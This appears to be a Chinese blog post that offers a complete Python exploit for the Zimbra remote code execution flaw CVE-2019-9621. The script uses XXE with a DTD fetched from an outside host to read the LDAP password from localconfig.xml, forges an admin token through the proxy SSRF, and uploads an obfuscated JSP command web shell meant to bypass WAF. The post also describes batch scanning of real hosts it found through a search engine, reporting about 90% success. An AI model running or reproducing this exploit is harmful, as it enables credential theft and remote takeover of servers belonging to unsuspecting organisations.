天天看點

[EXP]CVE-2019-9621 Zimbra小于8.8.11 遠端代碼執行漏洞 XXE GetShell ExploitSSRF+Get Admin_Token Stage

漏洞描述:

當 Zimbra 存在像任意檔案讀取、XXE(xml外部實體注入)這種漏洞時,攻擊者可以利用此漏洞讀取 localconfig.xml配置檔案,擷取到 zimbra admin ldap password,并通過 7071 admin 端口進行 SOAP AuthRequest 認證,得到 admin authtoken漏洞是利用XXE和ProxyServlet SSRF 漏洞拿到 admin authtoken 後,通過檔案上傳在服務端執行任意代碼,威脅程度極高。當Zimbra服務端打來Memcached緩存服務是,可以利用SSRF攻擊進行反序列化執行遠端代碼。不過由于Zimbra在單伺服器安裝中盡管Memcached雖然啟動但是并沒有進行使用,是以其攻擊場景受到限制。

影響版本:

ZimbraCollaboration Server 8.8.11 之前的版本都受到影響。具體來說:
      
  1. Zimbra < 8.7.11 版本中,攻擊者可以在無需登入的情況下,實作遠端代碼執行。
  2. Zimbra < 8.8.11 版本中,在服務端使用 Memcached 做緩存的情況下,經過登入認證後的攻擊者可以實作遠端代碼執行。

 GetShell代碼

#coding=utf8
import requests
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
base_url=sys.argv[1]
base_url=base_url.rstrip("/")
#upload file name and content
#modify by k8gege
#Connect "shell.jsp" using K8fly CmdShell
#Because the CMD parameter is encrypted using Base64(bypass WAF)
filename = "shell.jsp"
fileContent = r'<%@page import="java.io.*"%><%@page import="sun.misc.BASE64Decoder"%><%try {String cmd = request.getParameter("tom");String path=application.getRealPath(request.getRequestURI());String dir="weblogic";if(cmd.equals("NzU1Ng")){out.print("[S]"+dir+"[E]");}byte[] binary = BASE64Decoder.class.newInstance().decodeBuffer(cmd);String xxcmd = new String(binary);Process child = Runtime.getRuntime().exec(xxcmd);InputStream in = child.getInputStream();out.print("->|");int c;while ((c = in.read()) != -1) {out.print((char)c);}in.close();out.print("|<-");try {child.waitFor();} catch (InterruptedException e) {e.printStackTrace();}} catch (IOException e) {System.err.println(e);}%>'
print(base_url)
#dtd file url
dtd_url="https://k8gege.github.io/zimbra.dtd"
"""
<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">
"""
xxe_data = r"""<!DOCTYPE Autodiscover [
        <!ENTITY % dtd SYSTEM "{dtd}">
        %dtd;
        %all;
        ]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
    <Request>
        <EMailAddress>aaaaa</EMailAddress>
        <AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
    </Request>
</Autodiscover>""".format(dtd=dtd_url)
           

#XXE stage

headers = {

“Content-Type”:“application/xml”

}

print("[*] Get User Name/Password By XXE “)

r = requests.post(base_url+”/Autodiscover/Autodiscover.xml",data=xxe_data,headers=headers,verify=False,timeout=15)

#print r.text

if ‘response schema not available’ not in r.text:

print(“have no xxe”)

exit()

#low_token Stage

import re

pattern_name = re.compile(r"<key name=("|")zimbra_user("|")>\n.?<value>(.?)</value>")

pattern_password = re.compile(r"<key name=("|")zimbra_ldap_password("|")>\n.?<value>(.?)</value>")

username = pattern_name.findall(r.text)[0][2]

password = pattern_password.findall(r.text)[0][2]

print(username)

print(password)

auth_body="""<soap:Envelope xmlns:soap=“http://www.w3.org/2003/05/soap-envelope”>

<soap:Header>

<context xmlns=“urn:zimbra”>

<userAgent name=“ZimbraWebClient - SAF3 (Win)” version=“5.0.15_GA_2851.RHEL5_64”/>

</context>

</soap:Header>

<soap:Body>

<AuthRequest xmlns="{xmlns}">

<account by=“adminName”>{username}</account>

<password>{password}</password>

</AuthRequest>

</soap:Body>

</soap:Envelope>

“”"

print("[*] Get Low Privilege Auth Token")

r=requests.post(base_url+"/service/soap",data=auth_body.format(xmlns=“urn:zimbraAccount”,username=username,password=password),verify=False)

pattern_auth_token=re.compile(r"<authToken>(.*?)</authToken>")

low_priv_token = pattern_auth_token.findall(r.text)[0]

#print(low_priv_token)

SSRF+Get Admin_Token Stage

headers[“Cookie”]=“ZM_ADMIN_AUTH_TOKEN=”+low_priv_token+";"

headers[“Host”]=“foo:7071”

print("[*] Get Admin Auth Token By SSRF")

r = requests.post(base_url+"/service/proxy?target=https://127.0.0.1:7071/service/admin/soap",data=auth_body.format(xmlns=“urn:zimbraAdmin”,username=username,password=password),headers=headers,verify=False)

admin_token =pattern_auth_token.findall(r.text)[0]

#print(“ADMIN_TOKEN:”+admin_token)

f = {

‘filename1’:(None,“whocare”,None),

‘clientFile’:(filename,fileContent,“text/plain”),

‘requestId’:(None,“12”,None),

}

headers ={

“Cookie”:“ZM_ADMIN_AUTH_TOKEN=”+admin_token+";"

}

print("[] Uploading file")

r = requests.post(base_url+"/service/extension/clientUploader/upload",files=f,headers=headers,verify=False)

#print(r.text)

print(“Shell: “+base_url+”/downloads/”+filename)

#print(“Connect “shell.jsp” using K8fly CmdShell\nBecause the CMD parameter is encrypted using Base64(bypass WAF)”)

print("[] Request Result:")

s = requests.session()

r = s.get(base_url+"/downloads/"+filename,verify=False,headers=headers)

#print(r.text)

print(“May need cookie:”)

print(headers[‘Cookie’])

配合Cscan使用(批量使用url.txt)

Cscan.ini配置如下

[EXP]CVE-2019-9621 Zimbra小于8.8.11 遠端代碼執行漏洞 XXE GetShell ExploitSSRF+Get Admin_Token Stage
[EXP]CVE-2019-9621 Zimbra小于8.8.11 遠端代碼執行漏洞 XXE GetShell ExploitSSRF+Get Admin_Token Stage

Cscan掃禁ping機器需加nocheck參數

[EXP]CVE-2019-9621 Zimbra小于8.8.11 遠端代碼執行漏洞 XXE GetShell ExploitSSRF+Get Admin_Token Stage

鐘馗之眼随便抓一些Zimbra來測試,發現成功率高達90%

[EXP]CVE-2019-9621 Zimbra小于8.8.11 遠端代碼執行漏洞 XXE GetShell ExploitSSRF+Get Admin_Token Stage

下載下傳

EXP: https://github.com/k8gege/K8tools/blob/master/Zimbra_Rce.py

Cscan: https://www.cnblogs.com/k8gege/p/10519321.html

MSF:   https://github.com/k8gege/ZimbraExploit

繼續閱讀